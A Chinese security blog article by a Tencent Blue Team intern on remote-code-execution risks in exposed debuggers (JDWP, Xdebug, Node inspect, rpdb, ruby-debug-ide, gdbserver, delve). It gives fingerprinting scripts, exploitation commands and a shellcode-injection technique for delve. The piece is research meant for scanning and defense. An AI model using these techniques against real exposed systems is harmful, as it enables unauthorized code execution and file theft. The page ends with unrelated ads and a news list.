浅析常见Debug调试器的安全隐患
作者:腾讯蓝军实习生rotcrev
一、前言
笔者在腾讯蓝军&TSRC实习期间,其中一项工作是分析开发语言debug调试器的攻击面和编写指纹识别脚本,协助提升公司漏洞扫描器的检测能力,以及丰富蓝军安全演习武器库,进而消除安全隐患。经梳理发现包括不限于java、php、nodejs、python、ruby、gdbserver、golang等相关debug调试器都存在被攻击的可能性,脚本语言的debug调试器的利用思路一般可以从其内置执行表达式的功能出发,而编译型语言的debug调试器由于功能限制可能需要考虑二进制方面的利用。暴露远程debug端口,风险非常大,请开发人员务必做好访问控制。
二、DEBUG?EXPLOIT!
1、java JDWP RCE
JDWP(Java DEbugger Wire Protocol):即Java调试线协议,是一个为Java调试而设计的通讯交互协议,它定义了调试器和被调试程序之间传递的信息的格式。
网上已有非常多的JDWP利用分析文章,这里主要介绍复现过程和指纹识别以及一些小细节。
java程序测试代码:
//Test.java
import java.lang.Thread;
public class Test {
public static void main (String[] args) throws Exception{
int i = 0;
while (1 == 1) {
Thread.sleep(1000);
System.out.println("" + i);
i += 1;
}
}
}
编译java程序:
javac Test.java
启动远程debug调试器:
java -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=0.0.0.0:8080 Test
监听端口为8080,开发人员可以随便设置端口,常见的端口为8000、8080。
漏洞利用脚本比较经典的是 https://github.com/IOActive/jdwp-shellifier ,
命令为: python jdwp-shellifier.py -t 目标主机ip -p jdwp运行端口 --break-on 断点方法 --cmd "Your Command"
因为利用需要指定一个断点,jdwp-shellifier默认是 java.net.ServerSocket.accept
,除了这个,比较常见通用方法还有 java.lang.String.indexOf
。
当向jdwp端口发送 JDWP-Handshake 字符串时,服务器会返回 JDWP-Handshake 字符串,为了降低识别误报,可以进一步发送获取版本信息的指令,模拟jdwp通信过程来获取远程jvm信息,提取出版本数据,确定目标为jdwp服务。需要注意jdwp不支持多用户同时连接,扫描时有可能因为其他人正在连接导致识别不到。这里贴一下笔者简单编写的jdwp指纹识别脚本,它会打印出远程jvm返回的版本信息等。
#jdwp-check.py
import socket
import struct
import sys
def p32(u):
return struct.pack('>I', u)
def u32(p):
return struct.unpack('>I', p)[0]
def check(host, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, int(port)))
handshake = 'JDWP-Handshake'
s.send(handshake)
data = s.recv(len(handshake))
print(data)
if data != handshake:
return False
versionCommandPack = p32(1)
versionCommandPack += 'x00x01x01'
versionCommandPack = p32(len(versionCommandPack) + 4) + versionCommandPack
s.send(versionCommandPack)
data = s.recv(4)
replyLength = u32(data)
print("get reply size: {}".format(replyLength))
data = s.recv(replyLength)
print(data)
s.close()
if __name__ == '__main__':
check(sys.argv[1], sys.argv[2])
当然,nmap也支持检测jdwp。
2、php Xdebug RCE
Xdebug是PHP的扩展,提供丰富的调试函数,用于协助调试和开发,可以进行远程调试。
如果服务端PHP开启了Xdebug模块,当客户端向服务端发送一个带有XDEBUG_SESSION_START
参数的请求时,服务端将debug信息转发到相关客户端的调试端口并且可以执行相关调试函数。
xdebug.remote_host
设置回连地址,xdebug.remote_port
设置回连端口,这种情况只能回连到固定ip,一般是无法利用的。
当开启 xdebug.remote_connect_back
选项时,允许回连到任意ip,这也是方便多用户同时调试,但没有任何过滤,任何人都可以连,利用就出现在这里。
Multiple Users Debugging
扫描检测其实也并不复杂,先在自己机器上监听端口,然后只需要一行命令就可以搞定:
curl http://target.com/?XDEBUG_SESSION_START -H 'X-Forwarded-For: 回连地址'
如果目标存在风险,我们会收到这样的回连:
在实际利用中,有个情况是我们不知道目标配置的回连端口是什么,这里有三个解决办法,第一是尝试默认端口,官方默认端口是9000;第二是可以直接抓包看有哪些连接过来的tcp连接,虽然我们没有监听端口,但是依旧能收到目标发过来的syn包;第三是可以用iptables做个DNAT,具体命令可以阅读下面ruby-debug-ide部分。
那么具体如何利用呢?xdebug(版本>=2.1)的remote_handler默认是DBGp,那么利用思路是通过DBGp内置表达式来执行任意php代码,ricterz 师傅已经分析得很清楚了。在这里划重点,大部分的解释执行语言的debug调试工具在设计上都会允许执行表达式来方便调试,就算没有这个功能,也非常可能会被用户要求加入这个功能或者类似的功能,比如golang delve。不过golang倒不是解释执行的语言,但是也能说明这种趋势。
更深入的利用本文就不赘述了,网上已经存在许多利用工具,比如 https://github.com/vulhub/vulhub/tree/master/php/xdebug-rce ,而且更简单的可以直接用phpstorm或者vscode直接执行表达式。
3、nodejs debug/inspect RCE
nodejs内置了调试功能,旧版本nodejs使用 --debug
选项启动,新版本nodejs使用 --inspect
选项启动,有些版本会同时存在这两个选项。
这里使用官方提供的HelloWorld用例来做测试演示,执行 node app.js
启动程序。
//app.js
const http = require('http');
const hostname = '127.0.0.1';
const port = 3000;
const server = http.createServer((req, res) => {
res.statusCode = 200;
res.setHeader('Content-Type', 'text/plain');
res.end('Hello Worldn');
});
server.listen(port, hostname, () => {
console.log(`Server running at http://${hostname}:${port}/`);
});
旧版本nodejs执行 --debug
默认情况下调试端口监听在127.0.0.1:5858,当开发者配置监听在可被他人访问时,会造成RCE风险,比如下图启动调试,
测试curl访问这个端口,发现返回的HTTP Header有一些固定值,包括”V8-Version”和Embedding-Host: node”,这些可以作为识别指纹。
root@VM-66-175-debian:~# curl 127.0.0.1:5858 -v
* Rebuilt URL to: 127.0.0.1:5858/
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 5858 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1:5858
> User-Agent: curl/7.52.1
> Accept: */*
>
Type: connect
V8-Version: 5.1.281.111
Protocol-Version: 1
Embedding-Host: node v6.17.1
Content-Length: 0
远程连接调试端口后就可以执行js代码,利用可以参见Metasploit https://www.exploit-db.com/exploits/42793 ,当然也可以抓包分析编写python脚本方便执行。
新版本nodejs执行 --inspect
默认情况下调试端口监听在127.0.0.1:9229,每个进程都有一个唯一的UUID标示符,当开发者配置监听在可被他人访问时,会造成RCE风险,比如下图启动调试,
可以直接使用Chrome DevTools远程调试nodejs,首先打开chrome,进入chrome://inspect
,点击Discover network targets的configure,配置目标ip和端口:
保存后打勾,等下面Remote Target出现新目标,然后点击inspect链接,就可以打开调试工具,在调试工具里可以看源代码,以及执行命令:
如果说用chrome操作不方便,那么如何写个脚本快速验证呢?Chrome DevTools Protocol是基于WebScoket协议的,可以通过抓包来构造请求包。
nodejs inspect开启的是ws服务器,也提供了两个http api接口,向服务发送http请求以下两个路径,
http://IP:Port/json/version
http://IP:Port/json
根据响应包可以得到nodejs的版本、调试脚本路径,以及ws连接地址,
$ curl 192.168.56.103:9229/json/version -v
> GET /json/version HTTP/1.1
> Host: 192.168.56.103:9229
> User-Agent: curl/7.58.0
> Accept: */*
< HTTP/1.0 200 OK
< Content-Type: application/json; charset=UTF-8
< Cache-Control: no-cache
< Content-Length: 64
{
"Browser": "node.js/v8.10.0",
"Protocol-Version": "1.1"
}
$ curl 192.168.56.103:9229/json -v
> GET /json HTTP/1.1
> Host: 192.168.56.103:9229
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.0 200 OK
< Content-Type: application/json; charset=UTF-8
< Cache-Control: no-cache
< Content-Length: 247
<
[ {
"description": "node.js instance",
"devtoolsFrontendUrl": "chrome-devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=192.168.56.103:9229/dc94b8aa-0a0d-4e08-abda-4ab000e73755",
"faviconUrl": "https://nodejs.org/static/favicon.ico",
"id": "dc94b8aa-0a0d-4e08-abda-4ab000e73755",
"title": "a.js",
"type": "node",
"url": "file:///home/goahead/Desktop/js/debug-demo/a.js",
"webSocketDebuggerUrl": "ws://192.168.56.103:9229/dc94b8aa-0a0d-4e08-abda-4ab000e73755"
} ]
之后便可以通过返回的webSocketDebuggerUrl
来连接目标调试端口执行命令。
4、python rpdb RCE
python官方自带的调试工具pdb只能本地调试,没有提供远程调试功能,而PyCharm(Python IDE)提供的远程调试组件pydevd是硬编码一个回连的ip和端口,在正常情况下无法利用。
非官方的远程调试器rpdb实现了让pdb支持远程调试的功能,使用rpdb很简单,只要在python代码加入如下代码即可,
import rpdb
rpdb.set_trace()
调试端口默认是监听在127.0.0.1:4444,也可以设置监听在指定IP和端口,
import rpdb
rpdb.Rpdb(addr='0.0.0.0', port=4444).set_trace()
使用telnet连上端口后,就可以直接执行python代码,不过rpdb只支持单用户连接,并且在TCP连接exit断开后程序就会报错退出,调试端口关闭。
5、ruby ruby-debug-ide RCE
ruby-debug-ide为ruby调试器引擎(例如debase、ruby-debug-base)和IDE(例如RubyMine、Visual Studio Code、Eclipse、NetBeans)提供通信协议,ruby-debug-ide需要开发人员自己安装。
先来看看其使用的通信协议有没有RCE风险 https://github.com/ruby-debug/ruby-debug-ide/blob/master/protocol-spec.md
但这里commands似乎没有提到能执行表达式的功能,通过阅读 https://github.com/ruby-debug/ruby-debug-ide/tree/master/lib/ruby-debug-ide/commands 代码后发现protocol-spec并没有把全部协议列出来,分析发现多个调用函数debug_eval的command都可以执行命令。
在这里简单介绍一下ruby-debug-ide的协议,这个协议主要通信方式类似问答,客户端发送给被调试端命令,被调试端返回xml格式的响应。一个例子如下:
# 删除断点2
客户端发送: delete 2
被调试端响应: < breakpointDeleted no="2"/>
不过,非多线程ruby脚本和多线程ruby脚本(比如rails应用程序)的远程调试的通信过程是有区别的,这样会导致利用过程需要考虑到它们的差异,先看看普通的ruby脚本如何利用,
#test.rb
counter = 0
while 1 do
sleep 1
puts "test #{counter}"
counter += 1
end
rdebug-ide --host 0.0.0.0 --port 1234 -- test.rb
使用rdebug-ide命令启动程序,注意此时程序不会马上执行。而是等待start
命令,使用telnet或nc连接端口后发送start
让程序跑起来,那这时可以执行eval
命令了吗?还不行,因为包括eval
、where
、load
等很多命令都无法在程序没有中断的时候运行。想要让程序中断,可以通过events事件(breakpoint、suspension、exception)来完成,其中触发suspension很简单,发送pause
命令就可以将当前的线程挂起,之后再发送执行表达式的命令。
目前看来似乎一切顺利,但是这里有个情况,如果pause
后再continue
的话,那么不能再次pause
(感觉是ruby-debug-ide程序本身不够完善),之后还想程序中断,就要考虑其他操作比如捕捉异常exception。
接下来看看rails应用程序如何利用,
rdebug-ide --host 0.0.0.0 --port 1234 --dispatch-port 23456 -d -- /usr/local/bin/rails server
--dispatch-port
这个选项指定的端口是需要debug client(IDE)去监听,通信过程大致如下:
连接 --port 指定的端口
debug client(IDE)==================================> server
发送start命令
连接 --dispatch-port 端口
debug client(IDE)< ================================== server
得到client应答后发送一个新的随机端口号
关闭 --port 端口
连接新端口
debug client(IDE)==================================> server
发送start命令正式进入调试
嗯…这个调试过程感觉很麻烦,不少人都这么认为:https://github.com/ruby-debug/ruby-debug-ide/issues/107
来测试下,首先监听端口23456,然后nc ip 1234发送start之后,会收到server发过来的新端口号,注意如果server不能连接过来的话,ruby-debug-ide会报错退出。接着连接新端口,发送start,程序成功启动。
不过现在还不能马上发送pause,需要看下当前是否有thread,发送thread list
,此时很可能会出现没有线程的情况,这很可能只是debug engine没有发现这些thread而已,可以下个断点,之后的操作大致和上面一致,发送pause命令,再执行表达式。
到目前为止,我们已经了解这个调试端口暴露出的危害,那么如何检测呢,可以找一个任何时候都可以使用的命令去检测,比如查看断点info break
,发送这个命令后,服务端将会响应当前存在的断点。
但是蓝军安全演习实际利用起来又要注意了,不知道目标运行是什么模式,是ruby单线程脚本,还是rails多线程应用程序,如果是后者,在不知道回连端口是多少的情况下,贸然start会造成debug engine无法回连会直接报错退出,因此,检测出存在这个端口后利用起来也要小心翼翼。
为了能更稳定地利用,应当假设目标是rails这种多线程的模式,可以使用iptables将某个ip连接过来的tcp连接全部导向本地指定端口,大概命令如下:
# 添加规则
iptables -t nat -A PREROUTING -s 目标ip -p tcp -j DNAT --to-destination 本地ip:端口
# 删除规则
iptables -t nat -D PREROUTING -s 目标ip -p tcp -j DNAT --to-destination 本地ip:端口
这样目标ip连过来的所有tcp连接就会转发到本地监听端口上,用nc监听这个指定的端口即可。
6、gdbserver RCE
gdb对于开发者来讲(特别是c、c++等编译型语言)可能不陌生,而gdbserver则是gdb配套的远程调试工具,是RSP(Remote Serial Protocol)的一种实现。
gdb有两种远程调试的连接模式,分别为target remote mode
和target extended-remote mode
,这两种模式在调试进程结束后gdbserver的行为会有所不同,文档描述如下:
Types of Remote Connections
当extended-remote mode的时候,gdbserver在程序结束后或detach后不会停止运行,除非使用了—once选项。
gdbserver remote mode相关命令
比如Server端启动远程调试a.out,监听1234端口:
gdbserver 0.0.0.0:1234 a.out
Client运行gdb后用下面命令连接:
(gdb) target remote xxx.xxx.xxx.xxx:1234
gdbserver extended-remote mode相关命令
远程调试a.out,监听1234端口:
gdbserver --multi 0.0.0.0:1234 a.out
运行gdb后用下面命令连接:
# 即使gdbserver没有使用--multi选项,也可以这么连,这个可以强制让gdbserver进入extended-remote mode
(gdb) target extended-remote 127.0.0.1:1234
文档中没有说清楚(可能是我没看到)的是,即使gdbserver启动是remote mode,gdb连接上也可以开启extended-remote mode,这样gdbserver在进程结束之后依旧不会退出,这也就给实际利用提供了便利。
通过阅读文档发现gdb本身就提供了文件传输的功能,分别是下面三种命令:
1. remote put hostfile targetfile
2. remote get targetfile hostfile
3. remote delete targetfile
也就是说只要连上gdbserver端口,就可以任意读/写/删除服务器上的文件。
文件下载:
文件上传:
那么如何达到RCE目的呢?经过简单的分析,目前发现三种RCE方法:
1. gdb连接上之后可以修改内存,这时候加段shellcode进内存然后跳转执行
2. 通过extended-remote mode支持的功能运行额外的程序
3. 在有符号的情况下可以直接call system()
这里简单介绍第二种,在extended-remote的情况下,支持设置远程运行的文件,而且支持run命令,这个不就可以任意命令执行吗?
(gdb) set remote exec-file < path/to/executable>
(gdb) run ...
演示如下,can_u_see_me就是/tmp/pwn目录下的文件。
只是这种方式无法直接获取回显,不过获取回显的方式有很多种,比如程序是默认使用shell来运行的,支持重定向,所以可以将结果重定向到文件,然后再下载读取。
关于端口指纹识别,这里简要介绍通信用的RSP协议,该协议位于tcp协议之上,不论是客户端(gdb)还是服务端(gdbserver)在收到对方的包都会回复一个’+’字符。这个协议通信过程中用到的字符都是可打印字符,大概格式为 $
def calc_checksum(s):
res = 0
for c in s:
res = (res + ord(c)) % 256
return res
通常gdb在和target服务端通信一开始的时候,都会将客户端支持的功能告诉服务端,而服务端也会返回所支持的功能。
客户端(gdb)发送(这里只描述content的格式):qSupported [:gdbfeature [;gdbfeature]… ]
服务端(gdbserver)通过下面的格式告诉客户端它支持的feature:stubfeature [;stubfeature]…
通过上面的这个命令就可以用来进行指纹检测,下面是一个通信的例子:
客户端发送:
+$qSupported:multiprocess+#c6
服务端响应:
+$PacketSize=3fff;QPassSignals+;QProgramSignals+;QStartupWithShell+;QEnvironmentHexEncoded+;QEnvironmentReset+;QEnvironmentUnset+;QSetWorkingDir+;QCatchSyscalls+;qXfer:libraries-svr4:read+....................
指纹检测就可以利用上面蕴含的模式(+$.*?#[0-9a-fA-F]{2}),还可以验证checksum是否正确,如果正确,那么大概率证明这是gdbserver使用的rsp协议。
7、golang delve RCE
delve是golang官方文档推荐的调试器,因为它比gdb对golang语言的支持更佳,这个也是本文利用起来较麻烦的一个调试器。
首先简单介绍一下delve的使用,
开启本地调试golang程序:
dlv debug test.go
开启远程调试golang程序:
dlv --listen=:2345 --headless=true --api-version=2 debug test.go
开启远程调试还可以设置多client连接模式,在这个模式下,多个client可以连接上来,并且在client断开连接时delve会继续运行:
dlv --accept-multiclient --listen=:2345 --headless=true --api-version=2 debug test.go
远程调试时使用下面命令连接到debug服务器:
dlv connect ip:port
非多client连接模式连一次delve就会退出,所以下面测试会以多client连接模式作为前提。
在寻找利用方式时,笔者还是优先考虑表达式执行,通过阅读文档,找到了执行表达式的print
命令,但表达式支持的功能有限(https://github.com/go-delve/delve/blob/master/Documentation/cli/expr.md),没有找到可以利用的点,继续阅读文档发现还有一个call
命令,这个命令可以调用当前程序导入的函数,比如程序导入了”os/exec”包,那么就可以call “os/exec”.Command来执行系统命令。
但是因为golang默认为静态编译,所以默认能调用的内置函数非常有限,如果程序没有编译进”os/exec”.Command这类命令执行的函数,那么想要通过表达式执行,调用内部函数来RCE就不会那么简单了。
首先假设程序使用了”os/exec”.Command,实例代码如下:
package main
import (
"os/exec"
"fmt"
"log"
)
func main() {
cmd := exec.Command("ls")
out, err := cmd.CombinedOutput()
if err != nil {
log.Fatalf("cmd.Run() failed with %sn", err)
}
fmt.Printf("combined out:n%sn", string(out))
}
启动调试环境,远程连接上后,使用funcs
命令来看下函数有哪些:
可以看到”os/exec”.Command被编译进去了,尝试call它,
失败了,查看help知道call只能在当前选择了goroutine的时候使用,这里可以理解成只有停留在go源码中才能使用,那么可以执行b main.main
,然后continue
,再次尝试调用命令:
(dlv) call "os/exec".Command("ls", "-al")
> main.main() ./go/exec.go:9 (hits goroutine(1):13 total:13) (PC: 0x4cd52b)
Command failed: can not convert "-al" constant to []string
还是失败,估计delve调用函数使用的是反射,而Command第二个参数是可变参数,因此反射里第二个参数需要是string slice,接着来尝试使用初始化string slice,
(dlv) call "os/exec".Command("ls", []string{"-al"})
> main.main() ./go/exec.go:9 (hits goroutine(1):14 total:14) (PC: 0x4cd52b)
Command failed: error evaluating "[]string{"-al"}" as argument arg in function os/exec.Command: expression *ast.CompositeLit not implemented
但delve支持有限,导致这种初始化不能使用,可以尝试寻找那些string slice的变量,将它作为第二个参数传进去。通过vars
命令可以看包内的变量,这里我找到了os.Args
这个string slice,它实际上就是程序的命令行参数。但是像下面这种函数串连起来调用容易遇到下面这种问题:
(dlv) call exec.Command("/bin/ls", os.Args).Run()
> main.main() ./go/exec.go:9 (hits goroutine(1):3 total:3) (PC: 0x4cd52b)
Command failed: call not at safe point
什么是safe point?可以看看这个issue:https://github.com/go-delve/delve/issues/1590,简单说就是程序在那里call命令造成的栈帧GC无法处理,所以delve不让调用。
不过可以分开执行函数,如果是上面给出的示例程序,可以等程序运行到定义了cmd变量那里停下来,然后调用:
结果~r0
就是命令的结果:
那万一代码没有使用”os/exec”.Command这种危险的函数呢?笔者开始把视线转向内置的一些函数,通过查看funcs
命令的结果,找到了一些有点意思的函数,最开始觉得比较可能有希望的应该是syscall.Syscall
和syscall.Syscall6
这两个,看名称似乎可以用来进行系统调用,但测试后发现没有那么简单,如果尝试调用这两个函数的话,会出现下面的情况:
(dlv) call syscall.Syscall(1)
> main.main() ./go/test.go:8 (hits goroutine(1):2 total:2) (PC: 0x4a23b8)
Command failed: too many arguments
(dlv) call syscall.Syscall6(1)
> main.main() ./go/test.go:8 (hits goroutine(1):2 total:2) (PC: 0x4a23b8)
Command failed: too many arguments
一个参数就报too many arguments?delve似乎对有些函数的原型无法正确识别,导致调用起来异常困难。
最后找到了两个函数:reflect.memmove
和syscall.mmap
是可以正常使用的,reflect.memmove
相当于c语言中的memmove
或者memcpy
,syscall.mmap
刚好可以用来分配rwx的内存。好了,现在的问题就转化成如何将shellcode写入内存中和利用类似memcpy的功能来实现执行shellcode。熟悉二进制安全的朋友都知道,这种类似任意写内存的功能已经无限接近于漏洞利用成功了。
另外分析发现disassemble
命令会打印出内存里的字节,任意读内存也有了。
那么如何构造出任意写内存呢?首先了解一下slice在内存中的结构,它是像下面这种结构的(c语言表述,64位系统):
struct slice {
void* data;
int64_t len;
int64_t cap;
};
一开始的第一个字段指向一段内存,这段内存由连续的对象组成,比如是string的slice,那么就是一段连续的string对象,如果是数字,那就是一段连续的int之类的。第二个字段就是这个对象数组有多少元素,cap则就是说这个slice最大容量是多少了。
string在内存中的结构:
struct string {
char* data;
int64_t len;
};
设想一下,如果将uint32 slice的头8个字节覆盖成string slice的头8个字节,那么uint32 slice的data指针就将指向string slice里的string 结构体数组。
之后操作这个uint32 slice的数组内容就相当于在改写string slice中的string结构体,通过改写string结构体里的data指针,将string指向想要指向的地址,这样就可以覆盖string的内容,相当于任意内存写了。
因为可以对string进行赋值,所以将shellcode写入内存也可以办到:
(dlv) call syscall.envs[0] = "i am shellcode!"
> main.main() ./go/test.go:8 (hits goroutine(1):4 total:4) (PC: 0x4a23b8)
(dlv) p syscall.envs[0]
"i am shellcode!"
(dlv)
delve的表达式支持取地址操作,可以很方便地获知变量的地址,当然也包括了各种slice的:
(dlv) p &syscall.envs
(*[]string)(0x57ac90)
(dlv)
实际测试结果:
如图,将uint32 slice第一个字段覆盖为string slice的第一个字段后,strconv.isPrint32的内容发生了变化,实际上就是string结构体数组的内容,将第一个uint32加1,可以看到syscall.envs[0]的内容向后移动了一个字节。
因为可以将shellcode也复制到rwx的内存页中去,所以现在只需要找一个会被程序调用的指针,将这个指针改写成有shellcode内存页的地址即可。
这个指针的选择,笔者挑了最简单的一种,那就是函数的返回地址,当然可能存在其他的指针可以利用。当根据函数名下断点的时候,比如b main.main
,程序触发这个断点时,刚好就停在该函数的第一个指令处,也就是说,此时的RSP指向返回地址,可以用regs
命令来获得此刻的RSP的值。
然后通过上面构造的任意写,将某个string指向返回地址,然后利用比如call syscall.envs[0][1] = 'a'
这样来改写它的字节,就能成功将返回地址改成shellcode的地址,最后只需要让函数运行至返回就会成功跳转到shellcode执行。
将以上的点整合起来,编写POC验证想法:
关于端口指纹检测,delve通信使用json-rpc进行TCP通讯,可以发送获取远程服务器信息的请求,根据返回进行判断。
客户端请求:
{"method":"RPCServer.State","params":[{"NonBlocking":true}],"id":2}
服务端响应:
{"id":2,"result":{"State":{"Running":false,"currentThread":{"id":13920,"pc":4899128,"file":"/home/goahead/Desktop/b.go","line":6,"function":{"name":"main.main"...........}
三、收尾
我们可以发现,相当多的调试工具都是支持执行表达式这种功能的,也就是说,它是一种设计而不是一个漏洞。所以,这些端口的暴露和被利用,更多应当归类于配置错误而不是本身存在漏洞。
远程调试端口暴露,风险非常大,在公网暴露,很可能被蠕虫攻击植入木马,在内网暴露,也可能会是黑客用来横向移动扩大权限的有效攻击手段,再次提醒开发人员务必做好访问控制,避免被黑客攻击。
文中涉及到的代码和技术细节,只限用于技术交流,切勿用于非法用途。欢迎探讨交流,行文仓促,不足之处,敬请不吝批评指正。
最后感谢实习期间 neargle 师傅和 KINGX 师傅以及各位领导同事的帮助和指导。
Reference
https://blog.spoock.com/2019/04/20/jdwp-rce/
https://paper.seebug.org/397/
https://nodejs.org/zh-cn/docs/guides/debugging-getting-started/
https://pypi.org/project/rpdb/
https://github.com/ruby-debug/ruby-debug-ide
https://www.gnu.org/software/gdb/documentation/
https://github.com/go-delve/delve/blob/master/Documentation/cli/README.md

我们是TSRC
互联网安全的守护者
用户数据安全的保卫者
我们找漏洞、查入侵、防攻击
与安全行业精英携手共建互联网生态安全
期待正能量的你与我们结盟!
微信号:tsrc_team

关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

随时掌握互联网精彩
- 1 为实现中国梦强军梦汇聚强大力量 7903953
- 2 中方拆穿美假消息 CNN直播吵起来了 7807922
- 3 枪击事件后第三天 印巴直接交火了 7712904
- 4 美国关税“后坐力”显现 7616542
- 5 女子手机失控冲进派出所民警让砸掉 7520492
- 6 中国代表:美方做法违反外交礼节 7428293
- 7 女子月入5万北漂十几年只攒下十万 7331314
- 8 郑少秋女儿郑欣宜突然清空社交账号 7238923
- 9 日本东京有8.3级大地震?专家回应 7136212
- 10 男子为亡妻殉情希望合葬 岳母发声 7044279